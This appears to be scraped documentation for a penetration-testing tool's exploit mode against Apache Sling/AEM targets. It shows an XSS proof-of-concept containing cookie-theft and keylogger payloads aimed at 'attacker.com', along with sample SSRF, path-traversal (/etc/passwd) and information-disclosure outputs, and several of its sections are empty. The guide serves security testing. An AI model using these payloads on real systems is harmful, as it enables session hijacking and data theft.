Exploitation Guide

When the 

1

--exploit
flag is enabled, Apache Sling Auditor attempts to actively exploit detected vulnerabilities and generate proof-of-concept (PoC) files.

Enabling Exploitation

1

python auditor.py -t http://target.com:4502 --exploit

Exploitation Capabilities

XSS Exploitation

What it does:

Output Location:

1

scan_results/<timestamp>/exploits/CVE-2018-12809/xss_poc_*.html

PoC File Contents:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<!DOCTYPE html>
<html>
<head>
    <title>XSS PoC - CVE-2018-12809</title>
</head>
<body>
    <h1>XSS Proof of Concept</h1>
    <p>Vulnerable Path: /bin/querybuilder.json</p>
    <p>Parameter: property</p>
    
    <script>
        // Alert payload
        alert('XSS Vulnerability Confirmed');
        
        // Cookie theft payload
        document.location='http://attacker.com/steal?cookie='+document.cookie;
        
        // Keylogger payload
        document.onkeypress = function(e) {
            new Image().src = 'http://attacker.com/keylog?key=' + e.key;
        };
    </script>
    
    <iframe src="http://target.com:4502/bin/querybuilder.json?property=<img src=x onerror=alert(1)>"></iframe>
</body>
</html>

Payload Variants:

SSRF Exploitation

What it does:

Test Targets:

Output Location:

1

scan_results/<timestamp>/exploits/CVE-2020-11987/ssrf_internal_access.txt

Output Format:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

SSRF Exploitation Results
==========================

Vulnerable Path: /bin/querybuilder.json
Parameter: url

Successful Internal Access:
- http://127.0.0.1:4502/system/console
  Status: 200 OK
  Response Length: 12345 bytes
  Content: [HTML content]

- file:///etc/passwd
  Status: 200 OK
  Response Length: 1024 bytes
  Content: [File contents]

Path Traversal Exploitation

What it does:

Target Files:

Output Location:

1

scan_results/<timestamp>/exploits/CVE-2017-12617/extracted_etc_passwd.txt

Payload Variants:

Extracted File Example:

1
2
3
4
5
6
7
8
9
10
11

Path Traversal Exploitation Results
===================================

Vulnerable Path: /system/console
Parameter: path

Successfully Extracted: /etc/passwd
Content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Information Disclosure Exploitation

What it does:

Extracted Information:

Output Location:

1

scan_results/<timestamp>/exploits/CVE-2019-8086/disclosure_system_info.txt

Output Format:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

Information Disclosure Results
==============================

Vulnerable Path: /system/console/status-slingsettings.json

Extracted Information:
- Java Version: 1.8.0_291
- Java Vendor: Oracle Corporation
- OS Name: Linux
- OS Version: 5.4.0-74-generic
- User Home: /home/user
- Java Home: /usr/lib/jvm/java-8-openjdk-amd64

System Properties:
- java.version=1.8.0_291
- os.name=Linux
- user.name=root
...

Log4Shell Exploitation

What it does:

Payload Variants:

Output Location:

1

scan_results/<timestamp>/exploits/CVE-2021-44228/log4shell_payloads.txt

Exploit Output Structure

1
2
3
4
5
6
7
8
9
10
11
12

scan_results/
└── YYYYMMDD_HHMMSS/
    └── exploits/
        ├── CVE-2021-44228/
        │   └── log4shell_payloads.txt
        ├── CVE-2018-12809/
        │   ├── xss_poc_path1.html
        │   └── xss_poc_path2.html
        ├── CVE-2020-11987/
        │   └── ssrf_internal_access.txt
        └── CVE-2017-12617/
            └── extracted_etc_passwd.txt

Using Exploit Outputs

XSS PoC Files

  1. Open the generated HTML file in a browser
  2. The PoC will demonstrate the XSS vulnerability
  3. Use for client-side testing and validation

SSRF Results

  1. Review the internal access results
  2. Identify accessible internal resources
  3. Use for further exploitation or reporting

Path Traversal Results

  1. Review extracted file contents
  2. Identify sensitive information exposed
  3. Use for impact assessment

Information Disclosure Results

  1. Review extracted system information
  2. Identify exposed sensitive data
  3. Use for risk assessment

Best Practices

1. Validate Before Exploiting

1
2
3
4
5

# First, detect vulnerabilities
python auditor.py -t http://target.com:4502

# Then, exploit if vulnerabilities found
python auditor.py -t http://target.com:4502 --exploit

2. Review Exploit Outputs

Always review generated PoC files and extracted data:

3. Use Responsibly

4. Document Findings

Use exploit outputs in your reports:

Limitations

False Positives

Exploitation may produce false positives:

Scope Limitations

Safety

Troubleshooting

No Exploit Outputs Generated

PoC Files Don’t Work

Missing Exploit Data

Want to learn more? Check out the Usage Guide or Examples!